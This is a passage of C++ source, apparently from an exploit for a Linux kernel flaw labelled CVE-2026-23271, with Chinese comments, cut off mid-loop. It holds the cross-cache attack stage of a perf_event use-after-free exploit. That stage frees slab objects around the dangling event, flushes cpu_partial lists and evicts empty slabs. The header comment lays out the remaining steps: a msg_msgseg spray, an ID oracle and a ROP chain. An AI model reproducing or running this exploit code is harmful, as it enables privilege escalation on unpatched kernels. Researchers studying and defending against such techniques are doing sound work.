Function cross_cache_attack

CVE-2026-23271/exploit/exploit.cpp:2326–2406

[4] 跨缓存攻击: 将 perf_event slab 页返还 buddy 分配器,然后用 msg_msgseg 回收。注意，`perf_event`和kmalloc-cg-1k`都从order-2 page取内存，而kmalloc-cg-4k从order-3 page取内存 perf_event 使用 perf_event_cache slab (kmalloc-4k, 对象 0x520 字节) msg_msgseg 使用 kmalloc-4k (seg 数据区 0x400 字节),可以回收同一页面 步骤: 释放所有 slab → 刷新 cpu_partial → 驱逐空 slab → RCU → msg 喷洒 → ID Oracle → ROP

// msg_msgseg 使用 kmalloc-4k (seg 数据区 0x400 字节),可以回收同一页面
// 步骤: 释放所有 slab → 刷新 cpu_partial → 驱逐空 slab → RCU → msg 喷洒 → ID Oracle → ROP
void cross_cache_attack()
{
// [4-1] 释放slab页：释放 UAF perf_event 周围所有的对象
    log_info("[4-1] Phase 1: Freeing & Draining Slabs...");
    // victim_perf_fd - 被event C覆盖的event B / victim_perf_idx - event B 下标
    // tmp_probe_fd - 覆写event B的event C   / spray_c_count - event C 下标 / victim_perf_id -重叠的 event C id
    int empty_boundary = EMPTY_SLABS * OBJS_PER_SLAB;
    for (int i = 0; i < empty_boundary; i++) {
        if (i == perf_fd_idx) {     // perf_fd_idx - event A 中目标UAF perf_event的下标。在竞争前就已经释放了，留下slot供竞争时使用
            log_dbg("[4-1] Clean overlapped event c, fd: %d", spray_c_fds[spray_c_count]);
            close(spray_c_fds[spray_c_count]);
            spray_c_fds[spray_c_count] = -1;    // 释放 覆写event B的event C

            for (int j = 0; j < SPRAY_B_COUNT; j++) {
                if (j != victim_perf_idx        // 只留下1个含悬垂指针的 event B, 释放所有 event B
                        && spray_b_ids[j] >= spray_b_ids[victim_perf_idx] - OBJS_PER_SLAB
                        && spray_b_ids[j] <= spray_b_ids[victim_perf_idx] + 2) {
                    log_dbg("[4-1] Close sprayed event b, fd: %d, id: %ld", spray_b_fds[j], spray_b_ids[j]);
                    close(spray_b_fds[j]);
                    spray_b_fds[j] = -1;
                }
            }

            for (int j = TOTAL_OBJS - 1; j >= TOTAL_OBJS - OBJS_PER_SLAB; j--) {
                if (total_fds[j] != -1) {
                    log_dbg("[4-1] Close total event, fd: %d", total_fds[j]);
                    close(total_fds[j]);
                }
            }

            continue;
        }
        if (total_fds[i] != -1)     // 释放 UAF perf_event 周围所有的对象
            close(total_fds[i]);    
    }
// [4-2] Flush cpu_partial：分配并立即释放32个flush事件，强制刷新活跃slab的cpu_partial列表
    log_info("[4-2] Flushing Active Slab (Force Unfreeze)...");

    #define FLUSH_COUNT 32
    int flush_fds[FLUSH_COUNT];
    struct perf_event_attr flush_attr;
    memset(&flush_attr, 0, sizeof(flush_attr));
    flush_attr.type = PERF_TYPE_SOFTWARE;
    flush_attr.size = sizeof(struct perf_event_attr);
    flush_attr.config = PERF_COUNT_SW_CPU_CLOCK;
    flush_attr.disabled = 1;
    flush_attr.exclude_kernel = 1;
    for (int i = 0; i < FLUSH_COUNT; i++) {
        flush_fds[i] = perf_event_open(&flush_attr, 0, -1, -1, 0);
    }

    for (int i = 0; i < FLUSH_COUNT; i++) {
        if (flush_fds[i] != -1) close(flush_fds[i]);
    }
// [4-3] 驱逐空slab：关闭 `EVICT_SLABS=12` 个slab末尾对象，驱动空slab页返还buddy分配器
    log_info("[4-3] Step 3: Evicting cpu_partial to flush empty slabs...");
    for (int i = 0; i < EVICT_SLABS; i++) {
        int idx = empty_boundary + (i * OBJS_PER_SLAB);